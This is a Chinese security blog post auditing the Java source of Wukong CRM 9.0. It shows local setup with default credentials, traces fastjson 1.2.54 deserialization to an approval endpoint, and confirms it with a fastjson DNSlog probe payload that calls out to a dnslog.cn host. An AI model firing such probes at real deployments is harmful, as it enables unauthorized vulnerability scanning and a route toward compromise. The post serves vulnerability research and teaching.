freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JAVA代码审计-悟空crm客户管理系统fastjson漏洞
FreeBuf_351414 2024-10-31 14:50:22 50872
所属地 北京

一. 本地搭建

版本:Wukong CRM9.0

1. 搭建需要使用myql数据库和redis两个,使用phpstudy搭建即可,mysql数据库的文件为WukongCRM-9.0-JAVA-9.0.1_20191202/src/main/resources/config/crm9-config.txt,将下载的crm9.sql导入数据库即可,数据库格式为UTF-8; redis配置文件为同目录下的redis.json文件,redis默认密码为123456。

1730355295_6723205fecc1c0e52c7c6.png!small

1730355187_67231ff3822c923c09042.png!small

2. 配置好后使用idea打开,配置Tomcat中间件进行本地运行,没有报错正常起来界面如下,默认账号为:admin/123456

1730355442_672320f2c89dba4eecb93.png!small

二. fastjson漏洞审计

1. 查看pom.xml文件,发现引用了fastjson组件,版本为有漏洞的1.2.54。

1730355725_6723220d47a5e3a16180d.png!small

2. 确定后,查找哪里引用了组件,并且是可控的。

查找所有文件搜索: JSON.parseObject

1730356040_67232348f27424c2d7542.png!small

3. 发现好多地方引用,这个方法如果没有其他处理的话,是会引起反序列话的,进入一个查看具体的代码。

在AdminExamineController.java中的添加审批处:

代码解释
@Permissions("manage:examineFlow:update")
这是一个注解,用于权限控制。表示调用此方法需要具有 manage:examineFlow:update 权限。
public void saveExamine()
定义了一个公共方法 saveExamine,该方法没有返回值(void)。
JSONObject jsonObject = JSON.parseObject(getRawData());
从请求中获取原始数据(getRawData() 方法返回一个字符串),并将其解析为一个 JSONObject 对象。
JSON.parseObject 是一个将 JSON 字符串转换为 JSONObject 的方法。
renderJson(examineService.saveExamine(jsonObject));
调用 examineService 对象的 saveExamine 方法,并将解析后的 jsonObject 作为参数传递。
examineService.saveExamine(jsonObject) 的返回值将被传递给 renderJson 方法,用于生成 HTTP 响应的 JSON 格式数据。

1730356166_672323c6e80bef782ffd9.png!small

4. 根据提示找到添加审批处,抓包尝试dnslog。

1730356588_6723256cb90e16b6b471a.png!small

1730356607_6723257f89245206d9005.png!small


1730356678_672325c609ea50a61b48d.png!small

5. 打开dnslog平台,使用fastjson漏洞poc探测,可以看到成功回显。

{"zeo":{"@type":"java.net.Inet4Address","val":"0r8b41.dnslog.cn"}1730356934_672326c6e0da793e62724.png!small


结尾:这只是其中的一处,根据代码搜索看在产品处,线索处等都存在漏洞。

1730357231_672327efdf704bed1765b.png!small

1730357260_6723280cd1a4eb6c38ab9.png!small

# Java代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_351414 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
java代码审计
FreeBuf_351414 LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
JAVA代码审计-jfinal CMS未授权远程代码执行漏洞已申请获得CVE编号(CVE-2024-53477)
2024-12-24
文章目录